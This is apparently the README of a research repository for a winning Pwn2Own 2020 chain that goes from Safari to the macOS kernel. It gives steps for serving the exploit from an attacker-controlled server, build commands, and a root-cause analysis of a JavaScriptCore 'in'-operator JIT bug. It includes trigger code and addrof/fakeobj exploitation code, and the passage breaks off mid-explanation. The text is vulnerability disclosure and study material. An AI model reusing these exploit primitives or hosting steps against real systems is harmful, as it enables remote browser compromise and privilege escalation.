Pwn2own2020
Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities
Install / Use
/learn @sslab-gatech/Pwn2own2020README
Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities
Overview
This repository contains exploitation and technical details of our Pwn2Own 2020 winning submission targeting Apple Safari with a kernel escalation of privilege for macOS 10.15.3. For further information, you can also check our Blackhat USA 2020 slides and video. This repository also includes our demo video for the succesful exploitation.
How to reproduce
- Run the HTTP server using python3 in the exploits folder.
$ python3 -m http.server 80
- Access the website with attacker server's IP with Safari:
http://[attacker_ip]/exploit.html
- Wait for Calculator (usually popped in ten seconds, but if unlucky, it will
take some time) and a terminal with kernel privilege. To show our kernel
privilege escalation, we disabled SIP. You can check by running the
csrutil statuscommand, which will showdisabled.
Build from source
For your convenience, we provided a compiled payload, payload.js. But, if you
want, you can build it by yourself. Note that this will take a very long time
because we will build WebKit as a part of our exploit chain. It is worth to noting
that we only tested our building process in Mac OS.
# Install xcode first
$ python3 -m pip install --user lief
$ make
Technical details
To make this exploit, we chained the following SIX vulnerabilities.
1. Remote code execution in Safari via incorrect side-effect modeling of 'in' operator in JavaScriptCore DFG compiler
- Root cause analysis
In JavaScriptCore, when an indexed property was queried with 'in' operator, the DFG compiler assumes that it is side-effect free unless there is a proxy object in its prototype chain that can intercept this operation. JavaScriptCore marks an object that can intercept this indexed property access using the flag called 'MayHaveIndexedAccessors'. This flag is explicitly marked for the Proxy object.
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
However, there is another object that can cause side-effect:
JSHTMLEmbedElement that implements its own getOwnPropertySlot() method. One
way to trigger JavaScript callbacks (i.e. side effects) with 'in' operator is
using <embed> element with PDF plugin; when any property is queried on
embed / object tag's DOM object, it tries to load the backed plugin and
DOMSubtreeModified event handler can be called in PDF plugin's case because
it uses appendChild method on body element.
This is the stack trace of calling the side-effect from getOwnPropertySlot().
Stack trace
#1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb)
#2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7)
#3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48)
#4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4)
#5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224)
#6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c)
#7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85)
#8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912)
#9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e)
#10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807)
#11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7)
#12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595)
#13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681)
#14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d)
#15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77)
#16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26)
#17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca)
#18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023)
#19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913)
#20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
Since any objects in the prototype chain is not marked with "MayHaveIndexedAccessors", JIT assumes that this use of 'in' operator doesn't have any transitions inside eliminating the array type checks after transition.
// In the frame of <iframe src="...pdf"></iframe>
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value
By constructing addrof/fakeobj primitive from this, we could make arbitrary RW primitive to get code execution with the JIT-compiled JavaScript function.
- Exploitation
After getting addrof/fakeobj primitives, we convert it to more stable addrof/fakeobj primitives by faking an object.
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: (new Int64('0x0108191700000000')).asJSValue(),
butterfly: null,
o: {},
executable:{
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
unlinkedExecutable:{
isBuiltinFunction: 1 << 31,
a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48)
identifier: null
}
},
// -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40)
strlen_or_id: (new Int64('0x10')).asDouble(), // String.size
target: hostObj // String.data_ptr
}
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier
Function.prototype.toString(fakeHostObj) // function [leaked-structure-id]() { [native code] }
We leak the structure id of the hostObj by making fake function object fakeHostObj and calling Function.prototype.toString on it. The name of function reflects the structure id val
